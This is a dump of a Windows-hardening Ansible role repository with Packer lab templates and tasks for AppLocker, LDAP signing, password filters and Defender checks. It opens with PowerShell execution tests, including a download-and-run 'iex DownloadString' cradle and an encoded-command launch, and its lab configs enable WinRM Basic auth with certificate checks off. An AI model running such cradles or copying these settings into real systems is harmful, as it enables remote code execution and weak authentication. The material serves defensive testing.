"iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/runme.ps1')" 26 | powershell -Command "$command = \"Write-Host 'My voice is my passport, verify me.'\" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand" 27 | powershell -Command "invoke-command -scriptblock {Write-Host \"My voice is my passport, verify me.\"}" 28 | powershell -Command "Get-Content .\runme.ps1 | Invoke-Expression" 29 | PowerShell.exe -ExecutionPolicy Bypass -File .\runme.ps1 30 | -------------------------------------------------------------------------------- /files/win10-debloat.ps1: -------------------------------------------------------------------------------- 1 | Get-AppxPackage -AllUsers | where {$_.name -notlike "*calc*" -AND 2 | $_.name -notlike "*store*" -AND $_.name -notlike "*onenote*" -AND 3 | $_.name -notlike "*NET.*" -AND $_.name -notlike "*VCLibs*" -AND 4 | $_.name -notlike "*Host*" -AND $_.name -notlike "*AccountsControl*"} | Remove-AppxPackage 5 | -------------------------------------------------------------------------------- /get-dependencies.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | ## one script to be used by travis, jenkins, packer... 3 | 4 | umask 022 5 | 6 | rolesdir="$(dirname $0)/.." 7 | [ $APPVEYOR -o $CI ] && rolesdir="/etc/ansible/roles" 8 | 9 | [ ! -d $rolesdir/juju4.win_firewall ] && git clone https://github.com/juju4/ansible-win-firewall $rolesdir/juju4.win_firewall 10 | [ ! -d $rolesdir/juju4.win_eventlog ] && git clone https://github.com/juju4/ansible-win-eventlog $rolesdir/juju4.win_eventlog 11 | [ ! -d $rolesdir/juju4.win_audit ] && git clone https://github.com/juju4/ansible-win-audit $rolesdir/juju4.win_audit 12 | [ ! -d $rolesdir/juju4.win_powershell ] && git clone https://github.com/juju4/ansible-win-powershell $rolesdir/juju4.win_powershell 13 | [ ! -d $rolesdir/juju4.win_sysmon ] && git clone https://github.com/juju4/ansible-win-sysmon $rolesdir/juju4.win_sysmon 14 | [ ! -d $rolesdir/juju4.win_applocker ] && git clone https://github.com/juju4/ansible-win-applocker $rolesdir/juju4.win_applocker 15 | [ ! -d $rolesdir/juju4.win_services ] && git clone https://github.com/juju4/ansible-win-services $rolesdir/juju4.win_services 16 | [ ! -d $rolesdir/juju4.win_msoffice ] && git clone https://github.com/juju4/ansible-win-msoffice $rolesdir/juju4.win_msoffice 17 | [ ! -d $rolesdir/juju4.win_aptsimulator ] && git clone https://github.com/juju4/ansible-win-aptsimulator $rolesdir/juju4.win_aptsimulator 18 | [ ! -d $rolesdir/juju4.win_atomic_red_team ] && git clone https://github.com/juju4/ansible-win-atomic-red-team $rolesdir/juju4.win_atomic_red_team 19 | [ ! -d $rolesdir/juju4.win_osquery ] && git clone https://github.com/juju4/ansible-win-osquery $rolesdir/juju4.win_osquery 20 | [ ! -d $rolesdir/juju4.win_ad_monitor ] && git clone https://github.com/juju4/ansible-win-ad-monitor $rolesdir/juju4.win_ad_monitor 21 | [ ! -d $rolesdir/juju4.harden_windows ] && git clone https://github.com/juju4/ansible-harden-windows $rolesdir/juju4.harden_windows 22 | 23 | ## don't stop build on this script return code 24 | true 25 | -------------------------------------------------------------------------------- /handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | -------------------------------------------------------------------------------- /meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: harden_windows 4 | author: juju4 5 | description: Windows Hardening role 6 | license: BSD 7 | min_ansible_version: '2.1' 8 | platforms: 9 | - name: Windows 10 | versions: 11 | - 2012R2 12 | galaxy_tags: 13 | - system 14 | - security 15 | dependencies: [] 16 | # dependencies: 17 | # - juju4.win-firewall 18 | # - juju4.win-eventlog 19 | # - juju4.win-audit 20 | # - juju4.win-powershell 21 | # - juju4.win-applocker 22 | # - juju4.win-msoffice 23 | # - juju4.win-sysmon 24 | # - juju4.win-services 25 | # - juju4.win-osquery 26 | -------------------------------------------------------------------------------- /packer/ansible.cfg: -------------------------------------------------------------------------------- 1 | [defaults] 2 | callbacks_enabled = profile_tasks, timer 3 | roles_path = ../../ 4 | 5 | ansible_connection: winrm 6 | ansible_winrm_server_cert_validation: ignore 7 | #ansible_winrm_transport: kerberos,plaintext 8 | #ansible_winrm_scheme: http 9 | ansible_winrm_scheme: https 10 | ## does not seem to apply 11 | #ansible_port: 55986 12 | -------------------------------------------------------------------------------- /packer/azure-windows_server_2016.json: -------------------------------------------------------------------------------- 1 | { 2 | "variables": { 3 | "azure_ad_tenant_id": "{{env `az_tenant_id`}}", 4 | "azure_subscription_id": "{{env `az_subscription_id`}}", 5 | "app_id": "{{env `az_client_id`}}", 6 | "client_secret": "{{env `az_client_secret`}}", 7 | "resource_group": "Testing", 8 | "storage_account": "mylab0packer" 9 | }, 10 | "builders": [ 11 | { 12 | "type": "azure-arm", 13 | "subscription_id": "{{user `azure_subscription_id`}}", 14 | "tenant_id": "{{user `azure_ad_tenant_id`}}", 15 | "object_id": "{{user `object_id`}}", 16 | "client_id": "{{user `app_id`}}", 17 | "client_secret": "{{user `client_secret`}}", 18 | 19 | "cloud_environment_name": "AzurePublicCloud", 20 | "location": "eastus", 21 | "vm_size": "Standard_D1_v2", 22 | 23 | "managed_image_resource_group_name": "Testing", 24 | "managed_image_name": "juju4.harden-windows-win2016-{{isotime \"2006-01-02\"}}", 25 | 26 | "os_type": "Windows", 27 | "image_publisher": "MicrosoftWindowsServer", 28 | "image_offer": "WindowsServer", 29 | "image_sku": "2016-Datacenter", 30 | "image_version": "latest", 31 | 32 | "communicator": "winrm", 33 | "winrm_use_ssl": "true", 34 | "winrm_insecure": "true", 35 | "winrm_timeout": "3m", 36 | "winrm_username": "packer", 37 | 38 | "async_resourcegroup_delete": true 39 | } 40 | ], 41 | "provisioners": [ 42 | { 43 | "type": "windows-shell", 44 | "inline": [ 45 | "cmd /c \"whoami\"" 46 | ] 47 | }, 48 | { 49 | "type": "powershell", 50 | "inline": [ 51 | "dir c:\\" 52 | ] 53 | }, 54 | { 55 | "type": "windows-shell", 56 | "inline": [ 57 | "winrm quickconfig -q" 58 | ] 59 | }, 60 | { 61 | "type": "windows-shell", 62 | "inline": [ 63 | "winrm set winrm/config/service/auth @{Basic=\"true\"}" 64 | ] 65 | }, 66 | { 67 | "type": "ansible", 68 | "playbook_file": "./playbook-azure.yml", 69 | "extra_arguments": [ 70 | "-v", 71 | "--connection", "packer", 72 | "--extra-vars", "ansible_shell_type=powershell ansible_shell_executable=None" 73 | ] 74 | } 75 | ] 76 | } 77 | -------------------------------------------------------------------------------- /packer/azure-windows_server_2019.json: -------------------------------------------------------------------------------- 1 | { 2 | "variables": { 3 | "azure_ad_tenant_id": "{{env `az_tenant_id`}}", 4 | "azure_subscription_id": "{{env `az_subscription_id`}}", 5 | "app_id": "{{env `az_client_id`}}", 6 | "client_secret": "{{env `az_client_secret`}}", 7 | "resource_group": "Testing", 8 | "storage_account": "mylab0packer" 9 | }, 10 | "builders": [ 11 | { 12 | "type": "azure-arm", 13 | "subscription_id": "{{user `azure_subscription_id`}}", 14 | "tenant_id": "{{user `azure_ad_tenant_id`}}", 15 | "object_id": "{{user `object_id`}}", 16 | "client_id": "{{user `app_id`}}", 17 | "client_secret": "{{user `client_secret`}}", 18 | 19 | "cloud_environment_name": "AzurePublicCloud", 20 | "location": "eastus", 21 | "vm_size": "Standard_D1_v2", 22 | 23 | "managed_image_resource_group_name": "Testing", 24 | "managed_image_name": "juju4.harden-windows-win2019-{{isotime \"2006-01-02\"}}", 25 | 26 | "os_type": "Windows", 27 | "image_publisher": "MicrosoftWindowsServer", 28 | "image_offer": "WindowsServer", 29 | "image_sku": "2019-Datacenter", 30 | "image_version": "latest", 31 | 32 | "communicator": "winrm", 33 | "winrm_use_ssl": "true", 34 | "winrm_insecure": "true", 35 | "winrm_timeout": "3m", 36 | "winrm_username": "packer", 37 | 38 | "async_resourcegroup_delete": true 39 | } 40 | ], 41 | "provisioners": [ 42 | { 43 | "type": "windows-shell", 44 | "inline": [ 45 | "cmd /c \"whoami\"" 46 | ] 47 | }, 48 | { 49 | "type": "powershell", 50 | "inline": [ 51 | "dir c:\\" 52 | ] 53 | }, 54 | { 55 | "type": "windows-shell", 56 | "inline": [ 57 | "winrm quickconfig -q" 58 | ] 59 | }, 60 | { 61 | "type": "windows-shell", 62 | "inline": [ 63 | "winrm set winrm/config/service/auth @{Basic=\"true\"}" 64 | ] 65 | }, 66 | { 67 | "type": "ansible", 68 | "playbook_file": "./playbook-azure.yml", 69 | "use_proxy": false, 70 | "extra_arguments": [ 71 | "-vvv", 72 | "--connection", "winrm", 73 | "--extra-vars", "ansible_user=packer ansible_password={{ .WinRMPassword }} ansible_shell_type=powershell ansible_shell_executable=None ansible_winrm_server_cert_validation=ignore ansible_winrm_scheme=http" 74 | ] 75 | } 76 | ] 77 | } 78 | -------------------------------------------------------------------------------- /packer/client.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Packer playbook 4 | hosts: all 5 | vars: 6 | client_tools: 7 | - microsoftsecurityessentials 8 | - putty 9 | - filezilla 10 | - googlechrome 11 | - rdcman 12 | - 7zip 13 | - notepadplusplus 14 | # - gitdesktop ## package issue 15 | # - tortoisegit 16 | # - eclipse 17 | # - visualstudio2017community 18 | # - docker 19 | # - docker-kitematic 20 | # - libreoffice 21 | # - skypeforbusiness 22 | # - office365business 23 | harden_win_applocker_policy: "applocker-basic.xml" 24 | roles: 25 | - juju4.harden_windows 26 | tasks: 27 | - name: Install client toolset 28 | chocolatey.chocolatey.win_chocolatey: 29 | name: "{{ item }}" 30 | state: present 31 | with_items: "{{ client_tools }}" 32 | -------------------------------------------------------------------------------- /packer/end-cleaning.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | rem http://www.hurryupandwait.io/blog/creating-windows-base-images-for-virtualbox-and-hyper-v-using-packer-boxstarter-and-vagrant 3 | rem https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/clean-up-the-winsxs-folder 4 | 5 | @echo on 6 | Dism.exe /online /Cleanup-Image /StartComponentCleanup /ResetBase 7 | Defrag.exe c: /H 8 | 9 | C:/windows/system32/sysprep/sysprep.exe /generalize /oobe /unattend:C:/Windows/Panther/Unattend/unattend.xml /quiet 10 | -------------------------------------------------------------------------------- /packer/jumpbox.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Packer playbook 4 | hosts: all 5 | vars: 6 | jumpbox_tools: 7 | - putty 8 | - filezilla 9 | - googlechrome 10 | - rdcman 11 | - rsat 12 | - 7zip 13 | - notepadplusplus 14 | harden_win_applocker_policy: "applocker-medium.xml" 15 | roles: 16 | - juju4.harden_windows 17 | tasks: 18 | - name: Install jump box toolset 19 | chocolatey.chocolatey.win_chocolatey: 20 | name: "{{ item }}" 21 | state: present 22 | with_items: "{{ jumpbox_tools }}" 23 | -------------------------------------------------------------------------------- /packer/oracle-cert.cer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juju4/ansible-harden-windows/af69bc755ac13b903dd8855bf635ba555114d536/packer/oracle-cert.cer -------------------------------------------------------------------------------- /packer/playbook-azure.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Azure harden_windows playbook 4 | hosts: all 5 | become_method: ansible.builtin.runas 6 | vars: 7 | harden_win_securityupdates: false 8 | # harden_win_registry: false 9 | # harden_win_gpo_local: true 10 | # harden_win_inf_MinimumPasswordLength: 6 11 | # harden_win_inf_PasswordComplexity: 0 12 | # harden_win_adobereader: false 13 | # harden_win_flash: false 14 | # harden_win_netcease: false 15 | # harden_win_simplednscrypt: false 16 | # win_osquery: false 17 | # harden_win_certificates_review: false 18 | # harden_win_lsa_harden: true 19 | harden_win_mbrfilter: true 20 | harden_win_restrict_usb: true 21 | harden_win_remotelogging: false 22 | win_firewall: false 23 | harden_win_configure_errorreporting: true 24 | harden_win_restrict_dma: true 25 | # harden_win_wef_enable: true 26 | # harden_win_wef_collector_server_user: '' 27 | win_applocker_enable: true 28 | win_applocker_policy: "applocker-medium.xml" 29 | win_applocker_mode_exe: "Enabled" 30 | win_applocker_mode_script: "AuditOnly" 31 | win_applocker_mode_msi: "Enabled" 32 | win_applocker_mode_appx: "Enabled" 33 | win_applocker_mode_dll: "AuditOnly" 34 | win_testing_applocker_filepath: 35 | - 'c:\windows\system32\calc.exe' 36 | - 'c:\windows\system32\mshta.exe' 37 | - 'c:\windows\system32\regsvr32.exe' 38 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe' 39 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe' 40 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe' 41 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe' 42 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe' 43 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe' 44 | harden_win_testing: true 45 | harden_win_testing_inspec: true 46 | win_testing_applocker: true 47 | harden_win_testing_uac: false 48 | harden_win_testing_opf: false 49 | harden_win_testing_privesc: false 50 | # harden_win_testing_mimikatz: true 51 | win_testing_msoffice: false 52 | harden_win_testing_speculative: true 53 | # harden_win_testing_intelme: true 54 | harden_win_testing_iad: true 55 | harden_win_testing_iad_apply: false 56 | # harden_win_testing_detections: true 57 | # if Azure 58 | harden_win_NtlmMinServerSec: 536870912 59 | harden_win_mimikatz_LocalAccountTokenFilterPolicy0: false 60 | harden_win_testing_mimikatz: false 61 | harden_win_testing_detections: false 62 | roles: 63 | - juju4.harden_windows 64 | -------------------------------------------------------------------------------- /packer/vagrantfile-windows_2016.template: -------------------------------------------------------------------------------- 1 | Vagrant.configure("2") do |config| 2 | config.vm.box = "windows_2016" 3 | config.vm.guest = :windows 4 | 5 | config.windows.halt_timeout = 15 6 | 7 | # Configure Vagrant to use WinRM instead of SSH 8 | config.vm.communicator = "winrm" 9 | 10 | # Configure WinRM Connectivity 11 | config.winrm.username = "vagrant" 12 | config.winrm.password = "vagrant" 13 | 14 | # Forwarding the Windows Server 2016 Guest Port 8080 t0 48080 15 | # so that we can access it easily from outside the VM 16 | config.vm.network "forwarded_port", guest: 8080, host: 48080, host_ip: "127.0.0.1", id: "edgeservice" 17 | 18 | config.vm.provider "virtualbox" do |vb| 19 | vb.name = "WindowsServer2016" 20 | # Display the VirtualBox GUI when booting the machine 21 | vb.gui = true 22 | # More Power for the Windows Box with Docker 23 | vb.memory = 8192 24 | vb.cpus = 4 25 | end 26 | end 27 | -------------------------------------------------------------------------------- /packer/vagrantfile-windows_2019.template: -------------------------------------------------------------------------------- 1 | Vagrant.configure("2") do |config| 2 | config.vm.box = "windows_2019" 3 | config.vm.guest = :windows 4 | 5 | config.windows.halt_timeout = 15 6 | 7 | # Configure Vagrant to use WinRM instead of SSH 8 | config.vm.communicator = "winrm" 9 | 10 | # Configure WinRM Connectivity 11 | config.winrm.username = "vagrant" 12 | config.winrm.password = "vagrant" 13 | 14 | # Forwarding the Windows Server 2019 Guest Port 8080 t0 48080 15 | # so that we can access it easily from outside the VM 16 | config.vm.network "forwarded_port", guest: 8080, host: 48080, host_ip: "127.0.0.1", id: "edgeservice" 17 | 18 | config.vm.provider "virtualbox" do |vb| 19 | vb.name = "WindowsServer2019" 20 | # Display the VirtualBox GUI when booting the machine 21 | vb.gui = true 22 | # More Power for the Windows Box with Docker 23 | vb.memory = 8192 24 | vb.cpus = 4 25 | end 26 | end 27 | -------------------------------------------------------------------------------- /packer/vm-guest-tools.bat: -------------------------------------------------------------------------------- 1 | :: Install 7zip 2 | if not exist "C:\Windows\Temp\7z920-x64.msi" ( 3 | powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://www.7-zip.org/a/7z920-x64.msi', 'C:\Windows\Temp\7z920-x64.msi')" 41 | -ExecutionPolicy Unrestricted -NonInteractive 42 | -File {{ harden_win_log_dir }}\\New-KrbtgtKeys-1.ps1 43 | >{{ harden_win_log_dir }}\\reset-krgtbt-1.log 44 | triggers: 45 | - type: weekly 46 | start_boundary: '2019-01-01T05:00:00' 47 | state: present 48 | enabled: yes 49 | username: SYSTEM 50 | 51 | - name: DC krgtbt | Scheduled task Simulation 52 | community.windows.win_scheduled_task: 53 | name: Monthly-Security-Reset-krgtbt-2 54 | description: Run krgtbt reset - simulation mode 55 | actions: 56 | - path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 57 | arguments: > 58 | -ExecutionPolicy Unrestricted -NonInteractive 59 | -File {{ harden_win_log_dir }}\\New-KrbtgtKeys-2.ps1 60 | >{{ harden_win_log_dir }}\\reset-krgtbt-2.log 61 | triggers: 62 | - type: weekly 63 | start_boundary: '2019-01-01T06:00:00' 64 | state: present 65 | enabled: yes 66 | username: SYSTEM 67 | -------------------------------------------------------------------------------- /tasks/dc-ldap-signing.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: DC | Enable LDAP diagnostics 4 | ansible.windows.win_regedit: 5 | key: HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics 6 | value: "16 LDAP Interface Events" 7 | data: 2 8 | datatype: dword 9 | when: harden_win_dc_ldap_diag 10 | 11 | - name: DC | Enforce LDAP signing 12 | ansible.windows.win_regedit: 13 | key: HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters 14 | value: ldapserverintegrity 15 | data: 2 16 | datatype: dword 17 | when: harden_win_dc_ldap_enforce_signing 18 | -------------------------------------------------------------------------------- /tasks/extras.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Upload extra registry files 4 | ansible.windows.win_template: 5 | src: "{{ item }}.j2" 6 | dest: "{{ harden_win_temp_dir }}\\{{ item }}" 7 | with_items: "{{ harden_win_extra_reg }}" 8 | 9 | # ignore_errors else got rc 1 even if entries are all inserted... 10 | - name: Merge extra registry 11 | community.windows.win_regmerge: 12 | path: "{{ harden_win_temp_dir }}\\{{ item }}" 13 | with_items: "{{ harden_win_extra_reg }}" 14 | failed_when: false 15 | -------------------------------------------------------------------------------- /tasks/forcing-afterhours-user-logoffs.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://chrissanders.org/2017/11/forcing-attacker-decisions/ 3 | # https://blogs.technet.microsoft.com/askds/2010/08/24/forcing-afterhours-user-logoffs/ 4 | # https://technet.microsoft.com/en-us/library/jj852195(v=ws.11).aspx 5 | # https://social.technet.microsoft.com/Forums/en-US/292ed6a8-5752-4f96-9949-e3069caec82f/force-logoff-policy-2-hours-of-idle 6 | # https://www.ryadel.com/en/remote-desktop-session-time-limit-how-to-set-idle-timeout-in-windows-server-2012/ 7 | # Review carefully where applicable to you: User endpoint, member server, DC server 8 | 9 | # - name: Add schedule task to notify users of afterhours logoffs 10 | # ansible.windows.win_scheduled_task: 11 | # name: DisplayLogoffMessage 12 | # description: Display a logoff warning to the user 15min before logoff 13 | # actions: 14 | # - path: cmd 15 | # arguments: -opt1 -opt2 16 | # triggers: 17 | # - type: daily 18 | # start_boundary: '2019-01-01T07:00:00' 19 | # state: present 20 | # enabled: yes 21 | # username: "{{ harden_win_forcing_afterhours_logoff_user | default('{{ windows_user_administrator }}') }}" 22 | # FIXME! how to restrict case only if user is logged on. 23 | # FIXME! No display message option "Windows will logoff your session in 15 minutes. Please save your work." 24 | 25 | - name: Add schedule task to force afterhours logoffs 26 | community.windows.win_scheduled_task: 27 | name: ForceAfterHoursLogoff 28 | description: Afterhours logoff 29 | actions: 30 | - path: "%systemdir%\\logoff.exe" 31 | triggers: 32 | - type: daily 33 | start_boundary: "{{ harden_win_forcing_afterhours_logoff_time | default('2019-01-01T07:15:00') }}" 34 | state: present 35 | enabled: yes 36 | username: "{{ harden_win_forcing_afterhours_logoff_user | default('{{ windows_user_administrator }}') }}" 37 | -------------------------------------------------------------------------------- /tasks/join-domain.yml: -------------------------------------------------------------------------------- 1 | --- 2 | -------------------------------------------------------------------------------- /tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Get system language # would return en-EN or de-DE 4 | ansible.windows.win_powershell: 5 | script: | 6 | (Get-CimInstance -ClassName Win32_OperatingSystem).MUILanguages | Select-Object -Index 0 7 | register: system_language 8 | tags: get_system_language 9 | 10 | - name: Include language-specific variables. 11 | ansible.builtin.include_vars: "{{ system_language }}.yml" 12 | 13 | - name: Appveyor environment variables 14 | ansible.builtin.include_vars: appveyor.yml 15 | when: > 16 | (ansible_env is defined and ansible_env.APPVEYOR is defined and ansible_env.APPVEYOR) or 17 | (ansible_user is defined and ansible_user == 'winrm_test_user') 18 | - name: Vagrant environment variables 19 | ansible.builtin.include_vars: vagrant.yml 20 | when: ansible_user == 'vagrant' 21 | 22 | - name: Windows | Harden 23 | ansible.builtin.import_tasks: windows.yml 24 | when: ansible_os_family == "Windows" 25 | 26 | - name: Testing 27 | ansible.builtin.import_tasks: testing.yml 28 | when: harden_win_testing|bool 29 | -------------------------------------------------------------------------------- /tasks/mbrfilter.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Check if mbrfilter archive is present 4 | ansible.windows.win_stat: 5 | path: "{{ harden_win_temp_dir }}\\{{ harden_win_mbrfilter_url | basename }}" 6 | register: mbrfilterdl 7 | - name: Download mbrfilter 8 | ansible.windows.win_get_url: 9 | url: "{{ harden_win_mbrfilter_url }}" 10 | dest: "{{ harden_win_temp_dir }}\\{{ harden_win_mbrfilter_url | basename }}" 11 | # FIXME! no checksum option, https://github.com/ansible/ansible-modules-core/issues/4901 12 | when: not mbrfilterdl.stat.exists 13 | register: dl_result 14 | until: dl_result is success 15 | 16 | - name: Uncompress mbrfilter 17 | community.windows.win_unzip: 18 | src: "{{ harden_win_temp_dir }}\\{{ harden_win_mbrfilter_url | basename }}" 19 | dest: "{{ harden_win_temp_dir }}\\mbrfilter" 20 | creates: "{{ harden_win_temp_dir }}\\mbrfilter\\64\\mbrfilter.sys" 21 | 22 | - name: Install mbrfilter driver 23 | ansible.windows.win_command: > 24 | RUNDLL32.EXE SETUPAPI.DLL,InstallHinfSection DefaultInstall 132 25 | {{ harden_win_temp_dir }}\\mbrfilter\\64\\mbrfilter.sys 26 | 27 | - name: WARNING 28 | ansible.builtin.debug: 29 | msg: "WARNING! Talos Mbrfilter - You will need to reboot for driver to be effective." 30 | -------------------------------------------------------------------------------- /tasks/palantir-AutorunsToWinEventLog.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Retrieve windows-event-forwarding from github 4 | ansible.builtin.git: 5 | repo: 'https://github.com/palantir/windows-event-forwarding.git' 6 | dest: "{{ harden_win_temp_dir }}\\windows-event-forwarding" 7 | version: "{{ harden_win_palantir_AutorunsToWinEventLog_version | default('d07506ed3d9814521407f92af91768bcb2346028') }}" 8 | 9 | - name: Install AutorunsToWinEventLog 10 | ansible.windows.win_shell: "{{ harden_win_temp_dir }}/windows-event-forwarding/AutorunsToWinEventLog/Install.ps1" 11 | -------------------------------------------------------------------------------- /tasks/passwd-filters.yml: -------------------------------------------------------------------------------- 1 | --- 2 | ## https://msdn.microsoft.com/en-us/library/windows/desktop/ms722496(v=vs.85).aspx 3 | ## https://amarkulo.com/integrating-database-of-pwned-password-hashes-with-microsoft-ad/ 4 | ## https://github.com/jephthai/OpenPasswordFilter 5 | ## https://haveibeenpwned.com/passwords 6 | ## https://jacksonvd.com/checking-for-breached-passwords-in-active-directory/ 7 | ## https://github.com/ryanries/PassFiltEx 8 | 9 | - name: Check if OpenPasswordFilter archive is present 10 | ansible.windows.win_stat: 11 | path: "{{ harden_win_temp_dir }}\\{{ opf_url | basename }}" 12 | register: opfdl 13 | - name: Download OpenPasswordFilter 14 | ansible.windows.win_get_url: 15 | url: "{{ opf_url }}" 16 | dest: "{{ harden_win_temp_dir }}\\{{ opf_url | basename }}" 17 | # FIXME! no checksum option, https://github.com/ansible/ansible-modules-core/issues/4901 18 | when: not opfdl.stat.exists 19 | register: dl_result 20 | until: dl_result is success 21 | 22 | - name: Check if OpenPasswordFilter password list is present 23 | ansible.windows.win_stat: 24 | path: "c:\\windows\\system32\\opfmatch.txt" 25 | register: opfpass 26 | - name: Download password list 27 | ansible.windows.win_get_url: 28 | url: "{{ opf_passwd_list_url }}" 29 | dest: "c:\\windows\\system32\\opfmatch.txt" 30 | when: not opfpass.stat.exists 31 | register: dl_result 32 | until: dl_result is success 33 | 34 | - name: Check if OpenPasswordFilter password list is present for partial match 35 | ansible.windows.win_stat: 36 | path: "c:\\windows\\system32\\opfconf.txt" 37 | register: opfpass2 38 | - name: Download password list for partial match 39 | ansible.windows.win_get_url: 40 | url: "{{ opf_passwd_list_partial_url }}" 41 | dest: "c:\\windows\\system32\\opfconf.txt" 42 | when: not opfpass2.stat.exists 43 | register: dl_result 44 | until: dl_result is success 45 | 46 | - name: Uncompress OPF 47 | community.windows.win_unzip: 48 | src: "{{ harden_win_temp_dir }}\\{{ opf_url | basename }}" 49 | dest: "{{ harden_win_temp_dir }}\\opf" 50 | creates: "{{ harden_win_temp_dir }}\\opf\\OpenPasswordFilter.dll" 51 | 52 | ## note: once configured in registry, dll will be locked/used by lsass.exe 53 | - name: Copy OPF dll to system32 54 | ## BUG original_basename 55 | # win_copy: 56 | # src: "{{ harden_win_temp_dir }}\\opf\\{{ item }}" 57 | # dest: "c:\\windows\\system32\\{{ item }}" 58 | # remote_src: true 59 | ansible.windows.win_shell: "Copy-Item {{ harden_win_temp_dir }}\\opf\\x64\\{{ item }} c:\\windows\\system32\\{{ item }}" 60 | args: 61 | creates: "c:\\windows\\system32\\{{ item }}" 62 | with_items: 63 | - "OpenPasswordFilter.dll" 64 | - "OPFService.exe" 65 | 66 | - name: Create OPF service 67 | # win_service: 68 | # name: OpenPasswordFilter 69 | # path: "c:\\windows\\system32\\OPFService.exe" 70 | # start_mode: auto 71 | # state: started 72 | ansible.windows.win_shell: > 73 | New-Service -Name OpenPasswordFilter 74 | -BinaryPathName c:\\windows\\system32\\OPFService.exe 75 | -Description "OpenPasswordFilter service to prevent dictionary passwords" 76 | -StartupType Automatic 77 | failed_when: false 78 | 79 | ## FIXME! error 'SHIM_GOTO_CONTROLPANEL' 80 | ## https://support.microsoft.com/en-us/help/2715633/shim-errors-for-the--net-framework-version-and-platform-support 81 | ## NOK ws2016: without or with .Net Framework 3.5 82 | ## NOK amarkulo, ws2016: service started and stopped. no error message 83 | - name: Ensure OPF service is started 84 | ansible.windows.win_service: 85 | name: OpenPasswordFilter 86 | state: started 87 | 88 | ## ws2016: initial value = 'rassfm\0scecli' 89 | - name: Retrieving Notification registry value 90 | ansible.windows.win_shell: > 91 | reg query "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa" /v "Notification Packages" | 92 | findstr REG_MULTI_SZ 93 | changed_when: false 94 | register: reg1 95 | - name: Set notification_packages 96 | ansible.builtin.set_fact: 97 | notification_packages: > 98 | "{{ reg1.stdout | regex_replace('^\\s+Notification Packages\\s+REG_MULTI_SZ\\s+(.*)\\r\\n$', '\\1') }}" 99 | - name: Debug | reg1 output 100 | ansible.builtin.debug: 101 | var: reg1.stdout_lines 102 | - name: Debug | notification_packages 103 | ansible.builtin.debug: 104 | var: notification_packages 105 | 106 | - name: Enable Password filters 107 | ansible.windows.win_regedit: 108 | key: HKLM:\SYSTEM\CurrentControlSet\Control\Lsa 109 | value: Notification Packages 110 | datatype: multistring 111 | data: "{{ notification_packages }}\\0OpenPasswordFilter" 112 | when: not "'OpenPasswordFilter' in notification_packages" 113 | -------------------------------------------------------------------------------- /tasks/process-mitigation.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Set powershell.exe process mitigation 4 | ansible.windows.win_shell: Set-ProcessMitigation -Name powershell.exe -Enable DEP, EmulateAtlThunks, AuditDynamicCode, EnableExportAddressFilter 5 | 6 | - name: Check powershell.exe process mitigation 7 | ansible.windows.win_shell: Get-ProcessMitigation -Name powershell.exe 8 | -------------------------------------------------------------------------------- /tasks/testing-defender.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://twitter.com/tanmayg/status/1030513697209217024 3 | # https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/configure-network-connections-windows-defender-antivirus 4 | 5 | - name: Check if MpCmdRun exists 6 | ansible.windows.win_stat: 7 | path: "C:\\ProgramFiles\\Windows Defender\\MpCmdRun.exe" 8 | register: mpcmdrun 9 | 10 | - name: Ensure Windows Defender MAPS can communicate with cloud 11 | ansible.windows.win_command: "\"C:\\ProgramFiles\\Windows Defender\\MpCmdRun.exe\" -validatemapsconnection" 12 | when: mpcmdrun.stat.exists 13 | 14 | - name: Check Defender status 15 | ansible.windows.win_shell: Get-MpComputerStatus 16 | failed_when: false 17 | 18 | - name: Check signatures set 19 | ansible.windows.win_shell: "(Get-MpThreatCatalog).ThreatName | Group { $_.Split(':')[0] } | Sort Count -Descending" 20 | failed_when: false 21 | -------------------------------------------------------------------------------- /tasks/testing-densityscout.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Testing | download cert.at densityscout 4 | ansible.windows.win_get_url: 5 | url: https://www.cert.at/media/files/downloads/software/densityscout/files/densityscout_build_45_windows.zip 6 | dest: "{{ harden_win_temp_dir }}\\densityscout.zip" 7 | failed_when: false 8 | register: dl_result 9 | until: dl_result is success 10 | 11 | - name: Testing | Unarchive densityscout 12 | community.windows.win_unzip: 13 | src: "{{ harden_win_temp_dir }}\\densityscout.zip" 14 | dest: "{{ harden_win_temp_dir }}\\densityscout" 15 | creates: "{{ harden_win_temp_dir }}\\densityscout\\densityscout.exe" 16 | 17 | - name: Testing | call densityscout 18 | ansible.windows.win_command: > 19 